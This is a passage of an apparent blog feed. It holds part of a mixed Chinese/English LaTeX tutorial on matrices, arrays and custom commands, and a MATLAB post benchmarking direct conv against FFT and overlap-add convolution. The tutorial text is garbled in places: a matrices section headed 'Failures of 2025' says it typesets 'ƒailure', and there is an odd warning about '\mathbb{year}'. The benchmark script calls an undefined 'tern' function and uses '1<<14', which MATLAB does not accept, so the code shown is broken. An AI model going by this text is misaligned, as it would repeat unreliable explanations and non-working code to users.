sup⁡x\limsup_x</span><span><span><span></span><span><span><span>lim</span><span></span><span>sup</span></span><span><span><span><span><span><span></span><span><span>x</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>\limsup_x</code></td><td><span><span>max⁡x\max_x</span><span><span><span></span><span><span>max</span><span><span><span><span><span><span></span><span><span>x</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>\max_x</code></td></tr><tr><td><span><span>min⁡x\min_x</span><span><span><span></span><span><span>min</span><span><span><span><span><span><span></span><span><span>x</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>\min_x</code></td><td><span><span>Pr⁡x\Pr_x</span><span><span><span></span><span><span>Pr</span><span><span><span><span><span><span></span><span><span>x</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>\Pr_x</code></td><td><span><span>sup⁡x\sup_x</span><span><span><span></span><span><span>sup</span><span><span><span><span><span><span></span><span><span>x</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>\sup_x</code></td></tr></tbody></table></section></section><section><h2>Failures of 2025<a href="#failures-of-2025"><span>#</span></a></h2><p>我们可以使用 matrix、bmatrix、pmatrix 或 vmatrix 环境来排版 ƒailure。字母 b、p 和 v 分别指矩阵周围的分隔符（方括号、圆括号和竖线）。例如，以下代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>\begin{bmatrix}</span></div></div><div><div><div>2</div></div><div><span>1 &amp; 2 &amp; 3 \\</span></div></div><div><div><div>3</div></div><div><span>4 &amp; 5 &amp; 6 \\</span></div></div><div><div><div>4</div></div><div><span>\end{bmatrix}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>produces the following <span><span>2×32\times3</span><span><span><span></span><span>2</span><span></span><span>×</span><span></span></span><span><span></span><span>3</span></span></span></span> matrix:</p><span><span><span>[123456]\begin{bmatrix}1&amp;2&amp;3\\4&amp;5&amp;6\end{bmatrix}</span><span><span><span></span><span><span><span>[</span></span><span><span><span><span><span><span><span><span></span><span><span>1</span></span></span><span><span></span><span><span>4</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span></span><span><span><span><span><span><span></span><span><span>2</span></span></span><span><span></span><span><span>5</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span></span><span><span><span><span><span><span></span><span><span>3</span></span></span><span><span></span><span><span>6</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span><span><span>]</span></span></span></span></span></span></span><p>We can also use the <code>array</code> environment to typeset arrays. For example, the following code</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>\begin{array}{ccc}</span></div></div><div><div><div>2</div></div><div><span>a &amp; b &amp; c \\</span></div></div><div><div><div>3</div></div><div><span>d &amp; e &amp; f \\</span></div></div><div><div><div>4</div></div><div><span>g &amp; h &amp; i</span></div></div><div><div><div>5</div></div><div><span>\end{array}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>produces the following <span><span>3×33\times3</span><span><span><span></span><span>3</span><span></span><span>×</span><span></span></span><span><span></span><span>3</span></span></span></span> array:</p><span><span><span>abcdefghi\begin{array}{ccc}a&amp;b&amp;c\\d&amp;e&amp;f\\g&amp;h&amp;i\end{array}</span><span><span><span></span><span><span><span></span><span><span><span><span><span><span></span><span><span>a</span></span></span><span><span></span><span><span>d</span></span></span><span><span></span><span><span>g</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span></span><span><span><span><span><span><span></span><span><span>b</span></span></span><span><span></span><span><span>e</span></span></span><span><span></span><span><span>h</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span></span><span><span><span><span><span><span></span><span><span>c</span></span></span><span><span></span><span><span>f</span></span></span><span><span></span><span><span>i</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span></span></section><section><h2>Text Styles in Math Mode<a href="#text-styles-in-math-mode"><span>#</span></a></h2><p>在数学模式下，您可以渲染各种样式的字母。以下是一些示例；您可以将这些样式应用于任何字母。使用 <code>\mathbb</code> 命令需要将 amsfonts 宏包添加到文档的导言区。请勿尝试使用 <code>\mathbb{year}</code>，否则会得到一个完全不同的结果！</p><p>So</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>n^2 + 5 = 30\text{ so we have }n=\pm5</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>gives</p><span><span><span>n2+5=30so we haven=±5n^2+5=30\quad\text{so we have}\quad n=\pm5</span><span><span><span></span><span><span>n</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span></span><span>+</span><span></span></span><span><span></span><span>5</span><span></span><span>=</span><span></span></span><span><span></span><span>30</span><span></span><span><span>so we have</span></span><span></span><span>n</span><span></span><span>=</span><span></span></span><span><span></span><span>±</span><span>5</span></span></span></span></span></section><section><h2>How to Build Your Own Commands<a href="#how-to-build-your-own-commands"><span>#</span></a></h2><p>命令 <code>\newcommand</code> 用于创建自定义命令。我们先来看一个例子：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>\documentclass[11pt]{article}</span></div></div><div><div><div>2</div></div><div><span>\usepackage{amsmath}</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>\pdfpagewidth 8.5in</span></div></div><div><div><div>5</div></div><div><span>\pdfpageheight 11in</span></div></div><div><div><div>6</div></div><div><span>\newcommand{\reci}[1]{\frac{1}{#1}}</span></div></div><div><div><div>7</div></div><div><span>\newcommand{\hypot}[2]{\sqrt{#1^2+#2^2}}</span></div></div><div><div><div>8</div></div><div><span>\newcommand{\cbrt}[1]{\sqrt[3]{#1}}</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>\begin{document}</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>The reciprocal of 2 is $\reci{2}$.</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>The hypotenuse has length $\hypot{3}{4}$.</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>I'm sick of writing `$\backslash$sqrt[3]{2}$' all the time, just to get $\cbrt{2}$.</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>\end{document}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><code>\newcommand</code> 声明位于导言区。每个声明的形式为：</p><p>\newcommand{name of new command}[number of arguments]{definition}</p><p>新命令的名称必须以反斜杠 (\) 开头，这是您在文档中使用该命令时所用的名称。参数数量表示将要传递给该命令的输入参数的数量。定义部分是普通的 LaTeX 代码，其中包含 #1、#2、#3 等，用于指定调用新命令时输入参数的放置位置。</p><p>新命令用途广泛，不仅仅可以用来简化数学命令的调用。例如，试试这个：</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>\documentclass[11pt]{article}</span></div></div><div><div><div>2</div></div><div><span>\usepackage{amsmath}</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>\pdfpagewidth 8.5in</span></div></div><div><div><div>5</div></div><div><span>\pdfpageheight 11in</span></div></div><div><div><div>6</div></div><div><span>\newcounter{prob_num}</span></div></div><div><div><div>7</div></div><div><span>\setcounter{prob_num}{1}</span></div></div><div><div><div>8</div></div><div><span>\newcommand{\prob}[5]{\bigskip \bigskip\arabic{prob_num}.\stepcounter{prob_num} #1</span></div></div><div><div><div>9</div></div><div><span>\par\nopagebreak[4]\medskip A.\ #2\hfill B.\ #3\hfill</span></div></div><div><div><div>10</div></div><div><span>C.\ #4\hfill D.\ #5\hfill E.\ NOTA}</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span>\begin{document}</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>\prob{What is $2+2$?}{4}{5}{6}{7}</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>\prob{What is $\sqrt{100}$?}{81}{10}{9}{1}</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>\prob{Evaluate $\sum_{n=1}^\infty \frac{1}{n^2}$.}</span></div></div><div><div><div>19</div></div><div><span>{$\frac{1}{e}$} {$\frac{2}{\pi}$}</span></div></div><div><div><div>20</div></div><div><span>{$\frac{\pi^3}{8}$} {$\frac{\pi^2}{6}$}</span></div></div><div><div><div>21</div></div><div>
</div></div><div><div><div>22</div></div><div><span>\end{document}</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>在上面的例子中，我们创建了一个名为 \prob 的新命令。每次调用 \prob 时，我们都会提供 5 个参数，一个用于问题，每个用于多个选项。</p><p>在导言区和 \prob 的定义中，你会看到一些新的 LaTeX 命令：</p><p>\newcounter{prob_num} creates a counter variable called prob_num</p><p>\setcounter{prob_num}{1} setsprob_num to equal 1.</p><p>在 \prob 的定义中，\bigskip 和 \medskip 命令创建垂直空间。</p><p>\arabic{prob_num} prints out the current value of the counter prob_num as an arabic numeral.</p><p>\stepcounter{prob_num} increments the counter prob_num by 1.</p><p>\nopagebreak[4] tells LaTeX not to break the page between the problem and the choices unless it really, really, really has to.</p><p>\hfill 命令会在选项之间添加大致相等的间距。</p><p>一旦你建立了一套将在许多 LaTeX 文档中使用的自定义命令，你就应该学习如何创建自己的宏包，这样你就不必将所有自定义命令从一个文档复制到另一个文档。</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.haihengyang.com/posts/paper/matlab-convolution/</id>
      <title type="text">MATLAB的内置conv算法</title>
      <published>2026-09-29T00:00:00.000Z</published>
      <updated>2026-09-29T00:00:00.000Z</updated>
      <author><name>YANGHAIHENG</name></author>
      <link rel="alternate" href="https://blog.haihengyang.com/posts/paper/matlab-convolution/"/>
      <summary type="text">MATLAB 内置卷积算法学习记录，以及直接卷积与 FFT 卷积的基准测试示例。</summary>
      <content type="html"><![CDATA[<p>MATLAB 的 conv/conv2/convn 本身并<strong>不</strong>用 FFT；它们实现的是“滑动求和”的<strong>直接卷积</strong>（time-domain）并在底层用高度优化的 C 循环与并行机制来提速。加速主要来自：多线程/向量化的内部实现、对 GPU/tall/distributed 数组的原生支持；当核或信号很大时，应改用<strong>频域卷积</strong>（FFT、overlap-add/save）或能自动切换算法的函数/工具。</p>
<section><h1><strong>MATLAB的内置算法为何更“快”</strong><a href="#matlab的内置算法为何更快"><span>#</span></a></h1><p>直接法 + 内部并行：conv 等函数按定义做逐点乘加（O(M·N)），但实现是编译代码并带隐式多线程优化；对中小尺寸核，这通常比 FFT 更快。 另外有第三方测评指出 MATLAB 内部对 conv* 采用滑窗并配合隐式多线程（非官方，但与实测一致）。</p><ul>
<li>
<p><strong>直接法 + 内部并行</strong>：conv 等函数按定义做逐点乘加（O(M·N)），但实现是编译代码并带隐式多线程优化；对中小尺寸核，这通常比 FFT 更快。 另外有第三方测评指出 MATLAB 内部对 conv* 采用滑窗并配合隐式多线程（非官方，但与实测一致）。</p>
</li>
<li>
<p><strong>GPU / Tall / Distributed</strong>：把输入放到 gpuArray 上可让 conv 在 GPU 上执行；也支持 thread-based、tall 和分布式数组，用更多核/更多内存堆栈来提速或放大规模。</p>
</li>
</ul></section>
<section><h1>如何测出 <strong>conv（直接法） vs. FFT 卷积（含 overlap-add）</strong> 的分界点<a href="#如何测出-conv直接法-vs-fft-卷积含-overlap-add-的分界点"><span>#</span></a></h1><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function bench_conv_vs_fft()</span></div></div><div><div><div>2</div></div><div><span>% BENCH_CONV_VS_FFT</span></div></div><div><div><div>3</div></div><div><span>% 在你的硬件/版本上基准比较：</span></div></div><div><div><div>4</div></div><div><span>% 1) conv（直接卷积，CPU/GPU）</span></div></div><div><div><div>5</div></div><div><span>% 2) 一次性 FFT 卷积（CPU/GPU）</span></div></div><div><div><div>6</div></div><div><span>% 3) Overlap-Add FFT 卷积（CPU/GPU）</span></div></div><div><div><div>7</div></div><div><span>%</span></div></div><div><div><div>8</div></div><div><span>% 结果：打印出“FFT 比 conv 更快”的近似分界核大小，并画出时间对比图。</span></div></div><div><div><div>9</div></div><div><span>% 你可以修改“用户参数”以匹配你的真实数据规模。</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>%% ==== 用户参数 ====</span></div></div><div><div><div>12</div></div><div><span>mode = "sweepKernel";     % "sweepKernel" 固定信号长度扫核大小；或 "sweepSignal" 固定核扫信号长度</span></div></div><div><div><div>13</div></div><div><span>N_fixed = 2^18;           % 固定信号长度（sweepKernel 模式下使用）</span></div></div><div><div><div>14</div></div><div><span>K_list  = [3 5 9 15 31 63 127 255 511 1023 2047];  % 扫描的核长度（奇数常见，可按需改）</span></div></div><div><div><div>15</div></div><div><span>K_fixed = 255;            % 固定核长度（sweepSignal 模式下使用）</span></div></div><div><div><div>16</div></div><div><span>N_list  = round(logspace(3,6,10)); % 扫描的信号长度</span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>use_overlap_add = true;   % 是否包含 overlap-add（分块 FFT）方案</span></div></div><div><div><div>19</div></div><div><span>OA_block_target = 1&lt;&lt;14;  % 期望块长的量级（会自动取最近的合适 FFT 点）</span></div></div><div><div><div>20</div></div><div>
</div></div><div><div><div>21</div></div><div><span>rng(0);                   % 固定随机种子，保证可复现</span></div></div><div><div><div>22</div></div><div><span>nRepsSafety = 1;          % 大问题规模时，避免超长基准，timeit 自带多次测量</span></div></div><div><div><div>23</div></div><div>
</div></div><div><div><div>24</div></div><div><span>hasGPU = exist('gpuDeviceCount','file') &amp;&amp; gpuDeviceCount&gt;0;</span></div></div><div><div><div>25</div></div><div>
</div></div><div><div><div>26</div></div><div><span>%% ==== 生成尺寸序列 ====</span></div></div><div><div><div>27</div></div><div><span>if mode=="sweepKernel"</span></div></div><div><div><div>28</div></div><div><span><span>    </span></span><span>N_vec = N_fixed*ones(size(K_list));</span></div></div><div><div><div>29</div></div><div><span><span>    </span></span><span>K_vec = K_list(:);</span></div></div><div><div><div>30</div></div><div><span><span>    </span></span><span>x_label = 'Kernel length K';</span></div></div><div><div><div>31</div></div><div><span><span>    </span></span><span>x_ticks = K_list;</span></div></div><div><div><div>32</div></div><div><span>elseif mode=="sweepSignal"</span></div></div><div><div><div>33</div></div><div><span><span>    </span></span><span>N_vec = N_list(:);</span></div></div><div><div><div>34</div></div><div><span><span>    </span></span><span>K_vec = K_fixed*ones(size(N_list));</span></div></div><div><div><div>35</div></div><div><span><span>    </span></span><span>x_label = 'Signal length N';</span></div></div><div><div><div>36</div></div><div><span><span>    </span></span><span>x_ticks = N_list;</span></div></div><div><div><div>37</div></div><div><span>else</span></div></div><div><div><div>38</div></div><div><span><span>    </span></span><span>error('mode 必须是 "sweepKernel" 或 "sweepSignal"');</span></div></div><div><div><div>39</div></div><div><span>end</span></div></div><div><div><div>40</div></div><div><span>nCases = numel(N_vec);</span></div></div><div><div><div>41</div></div><div>
</div></div><div><div><div>42</div></div><div><span>%% ==== 结果数组 ====</span></div></div><div><div><div>43</div></div><div><span>t_conv_cpu   = nan(nCases,1);</span></div></div><div><div><div>44</div></div><div><span>t_fft_cpu    = nan(nCases,1);</span></div></div><div><div><div>45</div></div><div><span>t_oa_cpu     = nan(nCases,1);</span></div></div><div><div><div>46</div></div><div><span>t_conv_gpu   = nan(nCases,1);</span></div></div><div><div><div>47</div></div><div><span>t_fft_gpu    = nan(nCases,1);</span></div></div><div><div><div>48</div></div><div><span>t_oa_gpu     = nan(nCases,1);</span></div></div><div><div><div>49</div></div><div>
</div></div><div><div><div>50</div></div><div><span>%% ==== 主循环 ====</span></div></div><div><div><div>51</div></div><div><span>for i = 1:nCases</span></div></div><div><div><div>52</div></div><div><span><span>    </span></span><span>N = N_vec(i);</span></div></div><div><div><div>53</div></div><div><span><span>    </span></span><span>K = K_vec(i);</span></div></div><div><div><div>54</div></div><div>
</div></div><div><div><div>55</div></div><div><span><span>    </span></span><span>% 随机双精度数据（更接近实际）</span></div></div><div><div><div>56</div></div><div><span><span>    </span></span><span>x = randn(N,1);</span></div></div><div><div><div>57</div></div><div><span><span>    </span></span><span>h = randn(K,1);</span></div></div><div><div><div>58</div></div><div>
</div></div><div><div><div>59</div></div><div><span><span>    </span></span><span>% -------- CPU：conv 直接法 --------</span></div></div><div><div><div>60</div></div><div><span><span>    </span></span><span>t_conv_cpu(i) = timeit(@() conv(x,h,'full'), nRepsSafety);</span></div></div><div><div><div>61</div></div><div>
</div></div><div><div><div>62</div></div><div><span><span>    </span></span><span>% -------- CPU：一次性 FFT 卷积 --------</span></div></div><div><div><div>63</div></div><div><span><span>    </span></span><span>t_fft_cpu(i) = timeit(@() localFFTConv(x,h), nRepsSafety);</span></div></div><div><div><div>64</div></div><div>
</div></div><div><div><div>65</div></div><div><span><span>    </span></span><span>% -------- CPU：Overlap-Add --------</span></div></div><div><div><div>66</div></div><div><span><span>    </span></span><span>if use_overlap_add</span></div></div><div><div><div>67</div></div><div><span><span>        </span></span><span>t_oa_cpu(i) = timeit(@() localOverlapAdd(x,h,OA_block_target), nRepsSafety);</span></div></div><div><div><div>68</div></div><div><span><span>    </span></span><span>end</span></div></div><div><div><div>69</div></div><div>
</div></div><div><div><div>70</div></div><div><span><span>    </span></span><span>% -------- GPU（若可用）--------</span></div></div><div><div><div>71</div></div><div><span><span>    </span></span><span>if hasGPU</span></div></div><div><div><div>72</div></div><div><span><span>        </span></span><span>xg = gpuArray(x); hg = gpuArray(h);</span></div></div><div><div><div>73</div></div><div>
</div></div><div><div><div>74</div></div><div><span><span>        </span></span><span>t_conv_gpu(i) = gputimeit(@() conv(xg,hg,'full'));</span></div></div><div><div><div>75</div></div><div>
</div></div><div><div><div>76</div></div><div><span><span>        </span></span><span>t_fft_gpu(i)  = gputimeit(@() localFFTConv(xg,hg));</span></div></div><div><div><div>77</div></div><div>
</div></div><div><div><div>78</div></div><div><span><span>        </span></span><span>if use_overlap_add</span></div></div><div><div><div>79</div></div><div><span><span>            </span></span><span>t_oa_gpu(i) = gputimeit(@() localOverlapAdd(xg,hg,OA_block_target));</span></div></div><div><div><div>80</div></div><div><span><span>        </span></span><span>end</span></div></div><div><div><div>81</div></div><div>
</div></div><div><div><div>82</div></div><div><span><span>        </span></span><span>% 清理 GPU 内存压力</span></div></div><div><div><div>83</div></div><div><span><span>        </span></span><span>reset(gpuDevice);</span></div></div><div><div><div>84</div></div><div><span><span>    </span></span><span>end</span></div></div><div><div><div>85</div></div><div>
</div></div><div><div><div>86</div></div><div><span><span>    </span></span><span>% 正确性抽检（避免静默数值问题）</span></div></div><div><div><div>87</div></div><div><span><span>    </span></span><span>% 仅在 CPU 上做一次检查，允许 FFT 有轻微浮点误差</span></div></div><div><div><div>88</div></div><div><span><span>    </span></span><span>if i==1</span></div></div><div><div><div>89</div></div><div><span><span>        </span></span><span>y_ref = conv(x,h,'full');</span></div></div><div><div><div>90</div></div><div><span><span>        </span></span><span>y_f   = localFFTConv(x,h);</span></div></div><div><div><div>91</div></div><div><span><span>        </span></span><span>err_f = norm(y_ref - y_f, inf) / max(1, norm(y_ref, inf));</span></div></div><div><div><div>92</div></div><div><span><span>        </span></span><span>assert(err_f &lt; 1e-9, '一次性 FFT 卷积结果误差过大：%g', err_f);</span></div></div><div><div><div>93</div></div><div>
</div></div><div><div><div>94</div></div><div><span><span>        </span></span><span>if use_overlap_add</span></div></div><div><div><div>95</div></div><div><span><span>            </span></span><span>y_oa  = localOverlapAdd(x,h,OA_block_target);</span></div></div><div><div><div>96</div></div><div><span><span>            </span></span><span>err_oa = norm(y_ref - y_oa, inf) / max(1, norm(y_ref, inf));</span></div></div><div><div><div>97</div></div><div><span><span>            </span></span><span>assert(err_oa &lt; 1e-9, 'Overlap-Add 卷积结果误差过大：%g', err_oa);</span></div></div><div><div><div>98</div></div><div><span><span>        </span></span><span>end</span></div></div><div><div><div>99</div></div><div><span><span>    </span></span><span>end</span></div></div><div><div><div>100</div></div><div>
</div></div><div><div><div>101</div></div><div><span><span>    </span></span><span>fprintf('Case %d/%d: N=%d, K=%d | conv=%.4gs, fft=%.4gs, oa=%.4gs%s\n', ...</span></div></div><div><div><div>102</div></div><div><span><span>        </span></span><span>i, nCases, N, K, t_conv_cpu(i), t_fft_cpu(i), t_oa_cpu(i), ...</span></div></div><div><div><div>103</div></div><div><span><span>        </span></span><span>tern(hasGPU, sprintf(' | GPU conv=%.4gs, fft=%.4gs, oa=%.4gs', t_conv_gpu(i), t_fft_gpu(i), t_oa_gpu(i)), ''));</span></div></div><div><div><div>104</div></div><div><span>end</span></div></div><div><div><div>105</div></div><div>
</div></div><div><div><div>106</div></div><div><span>%% ==== 统计并打印分界点（CPU/GPU） ====</span></div></div><div><div><div>107</div></div><div><span>fprintf('\n=== 分界点（以“快过 10%%”为准）===\n');</span></div></div><div><div><div>108</div></div><div><span>if mode=="sweepKernel"</span></div></div><div><div><div>109</div></div><div><span><span>    </span></span><span>idx_cpu_fft = find(t_fft_cpu./t_conv_cpu &lt; 0.9, 1, 'first');</span></div></div><div><div><div>110</div></div><div><span><span>    </span></span><span>idx_cpu_oa  = find(t_oa_cpu./t_conv_cpu  &lt; 0.9, 1, 'first');</span></div></div><div><div><div>111</div></div><div><span><span>    </span></span><span>if ~isempty(idx_cpu_fft), fprintf('CPU：一次性 FFT 在 K ≈ %d 起更快\n', x_ticks(idx_cpu_fft)); end</span></div></div><div><div><div>112</div></div><div><span><span>    </span></span><span>if use_overlap_add &amp;&amp; ~isempty(idx_cpu_oa), fprintf('CPU：Overlap-Add 在 K ≈ %d 起更快\n', x_ticks(idx_cpu_oa)); end</span></div></div><div><div><div>113</div></div><div><span><span>    </span></span><span>if hasGPU</span></div></div><div><div><div>114</div></div><div><span><span>        </span></span><span>idx_gpu_fft = find(t_fft_gpu./t_conv_gpu &lt; 0.9, 1, 'first');</span></div></div><div><div><div>115</div></div><div><span><span>        </span></span><span>idx_gpu_oa  = find(t_oa_gpu./t_conv_gpu  &lt; 0.9, 1, 'first');</span></div></div><div><div><div>116</div></div><div><span><span>        </span></span><span>if ~isempty(idx_gpu_fft), fprintf('GPU：一次性 FFT 在 K ≈ %d 起更快\n', x_ticks(idx_gpu_fft)); end</span></div></div><div><div><div>117</div></div><div><span><span>        </span></span><span>if use_overlap_add &amp;&amp; ~isempty(idx_gpu_oa), fprintf('GPU：Overlap-Add 在 K ≈ %d 起更快\n', x_ticks(idx_gpu_oa)); end</span></div></div><div><div><div>118</div></div><div><span><span>    </span></span><span>end</span></div></div><div><div><div>119</div></div><div><span>else</span></div></div><div><div><div>120</div></div><div><span><span>    </span></span><span>idx_cpu_fft = find(t_fft_cpu./t_conv_cpu &lt; 0.9, 1, 'first');</span></div></div><div><div><div>121</div></div><div><span><span>    </span></span><span>idx_cpu_oa  = find(t_oa_cpu./t_conv_cpu  &lt; 0.9, 1, 'first');</span></div></div><div><div><div>122</div></div><div><span><span>    </span></span><span>if ~isempty(idx_cpu_fft), fprintf('CPU：一次性 FFT 在 N ≈ %d 起更快\n', x_ticks(idx_cpu_fft)); end</span></div></div><div><div><div>123</div></div><div><span><span>    </span></span><span>if use_overlap_add &amp;&amp; ~isempty(idx_cpu_oa), fprintf('CPU：Overlap-Add 在 N ≈ %d 起更快\n', x_ticks(idx_cpu_oa)); end</span></div></div><div><div><div>124</div></div><div><span><span>    </span></span><span>if hasGPU</span></div></div><div><div><div>125</div></div><div><span><span>        </span></span><span>idx_gpu_fft = find(t_fft_gpu./t_conv_gpu &lt; 0.9, 1, 'first');</span></div></div><div><div><div>126</div></div><div><span><span>        </span></span><span>idx_gpu_oa  = find(t_oa_gpu./t_conv_gpu  &lt; 0.9, 1, 'first');</span></div></div><div><div><div>127</div></div><div><span><span>        </span></span><span>if ~isempty(idx_gpu_fft), fprintf('GPU：一次性 FFT 在 N ≈ %d 起更快\n', x_ticks(idx_gpu_fft)); end</span></div></div><div><div><div>128</div></div><div><span><span>        </span></span><span>if use_overlap_add &amp;&amp; ~isempty(idx_gpu_oa), fprintf('GPU：Overlap-Add 在 N ≈ %d 起更快\n', x_ticks(idx_gpu_oa)); end</span></div></div><div><div><div>129</div></div><div><span><span>    </span></span><span>end</span></div></div><div><div><div>130</div></div><div><span>end</span></div></div><div><div><div>131</div></div><div>
</div></div><div><div><div>132</div></div><div><span>%% ==== 画图（CPU / 可选 GPU） ====</span></div></div><div><div><div>133</div></div><div><span>figure('Name','conv vs FFT benchmark'); hold on; grid on;</span></div></div><div><div><div>134</div></div><div><span>if mode=="sweepKernel"</span></div></div><div><div><div>135</div></div><div><span><span>    </span></span><span>xval = K_vec;</span></div></div><div><div><div>136</div></div><div><span>else</span></div></div><div><div><div>137</div></div><div><span><span>    </span></span><span>xval = N_vec;</span></div></div><div><div><div>138</div></div><div><span>end</span></div></div><div><div><div>139</div></div><div>
</div></div><div><div><div>140</div></div><div><span>% CPU</span></div></div><div><div><div>141</div></div><div><span>plot(xval, t_conv_cpu, '-', 'DisplayName','CPU conv');</span></div></div><div><div><div>142</div></div><div><span>plot(xval, t_fft_cpu,  '-', 'DisplayName','CPU FFT');</span></div></div><div><div><div>143</div></div><div><span>if use_overlap_add</span></div></div><div><div><div>144</div></div><div><span><span>    </span></span><span>plot(xval, t_oa_cpu,   '-', 'DisplayName','CPU FFT (overlap-add)');</span></div></div><div><div><div>145</div></div><div><span>end</span></div></div><div><div><div>146</div></div><div>
</div></div><div><div><div>147</div></div><div><span>% GPU</span></div></div><div><div><div>148</div></div><div><span>if hasGPU</span></div></div><div><div><div>149</div></div><div><span><span>    </span></span><span>plot(xval, t_conv_gpu, '--', 'DisplayName','GPU conv');</span></div></div><div><div><div>150</div></div><div><span><span>    </span></span><span>plot(xval, t_fft_gpu,  '--', 'DisplayName','GPU FFT');</span></div></div><div><div><div>151</div></div><div><span><span>    </span></span><span>if use_overlap_add</span></div></div><div><div><div>152</div></div><div><span><span>        </span></span><span>plot(xval, t_oa_gpu,   '--', 'DisplayName','GPU FFT (overlap-add)');</span></div></div><div><div><div>153</div></div><div><span><span>    </span></span><span>end</span></div></div><div><div><div>154</div></div><div><span>end</span></div></div><div><div><div>155</div></div><div>
</div></div><div><div><div>156</div></div><div><span>set(gca,'XScale','log','YScale','log');</span></div></div><div><div><div>157</div></div><div><span>xlabel(x_label); ylabel('Time (s)');</span></div></div><div><div><div>158</div></div><div><span>legend('Location','best');</span></div></div><div><div><div>159</div></div><div><span>title(sprintf('N (fixed or sweep) / K (fixed or sweep): N=%s, K=%s', num2str(N_fixed), num2str(K_fixed)));</span></div></div><div><div><div>160</div></div><div>
</div></div><div><div><div>161</div></div><div><span>end % main function</span></div></div><div><div><div>162</div></div><div>
</div></div><div><div><div>163</div></div><div><span>%% ====== 辅助函数 ======</span></div></div><div><div><div>164</div></div><div>
</div></div><div><div><div>165</div></div><div><span>function y = localFFTConv(x,h)</span></div></div><div><div><div>166</div></div><div><span>% 一次性 FFT 卷积（full 长度）</span></div></div><div><div><div>167</div></div><div><span>n = numel(x) + numel(h) - 1;</span></div></div><div><div><div>168</div></div><div><span>nfft = 2^nextpow2(n);</span></div></div><div><div><div>169</div></div><div><span>y = ifft( fft(x, nfft) .* fft(h, nfft) );</span></div></div><div><div><div>170</div></div><div><span>y = y(1:n);</span></div></div><div><div><div>171</div></div><div><span>% 保持原类型（支持 gpuArray）</span></div></div><div><div><div>172</div></div><div><span>if ~isa(y, 'gpuArray')</span></div></div><div><div><div>173</div></div><div><span><span>    </span></span><span>y = real(y); % CPU 上去除数值噪声的虚部</span></div></div><div><div><div>174</div></div><div><span>end</span></div></div><div><div><div>175</div></div><div><span>end</span></div></div><div><div><div>176</div></div><div>
</div></div><div><div><div>177</div></div><div><span>function y = localOverlapAdd(x,h,OA_block_target)</span></div></div><div><div><div>178</div></div><div><span>% Overlap-Add（分块 FFT），full 长度</span></div></div><div><div><div>179</div></div><div><span>Nx = numel(x); M = numel(h);</span></div></div><div><div><div>180</div></div><div><span>L  = max(1, OA_block_target);            % 期望块长</span></div></div><div><div><div>181</div></div><div><span>nfft = 2^nextpow2(L + M - 1);            % 实际 FFT 长度</span></div></div><div><div><div>182</div></div><div><span>L  = nfft - M + 1;                        % 真正每块放入的样本数</span></div></div><div><div><div>183</div></div><div><span>H  = fft(h, nfft);</span></div></div><div><div><div>184</div></div><div><span>y  = zeros(Nx + M - 1, 1, 'like', x);     % 和 x 同类型（支持 gpuArray）</span></div></div><div><div><div>185</div></div><div>
</div></div><div><div><div>186</div></div><div><span>pos = 1;</span></div></div><div><div><div>187</div></div><div><span>while pos &lt;= Nx</span></div></div><div><div><div>188</div></div><div><span><span>    </span></span><span>Lb = min(L, Nx - pos + 1);</span></div></div><div><div><div>189</div></div><div><span><span>    </span></span><span>xb = x(pos : pos + Lb - 1);</span></div></div><div><div><div>190</div></div><div><span><span>    </span></span><span>Yb = ifft( fft(xb, nfft) .* H );</span></div></div><div><div><div>191</div></div><div><span><span>    </span></span><span>y(pos : pos + Lb + M - 2) = y(pos : pos + Lb + M - 2) + Yb(1 : Lb + M - 1);</span></div></div><div><div><div>192</div></div><div><span><span>    </span></span><span>pos = pos + Lb;</span></div></div><div><div><div>193</div></div><div><span>end</span></div></div><div><div><div>194</div></div><div>
</div></div><div><div><div>195</div></div><div><span>if ~isa(y, 'gpuArray'), y = real(y); end</span></div></div><div><div><div>196</div></div><div><span>end</span></div></div><div><div><div>197</div></div><div>
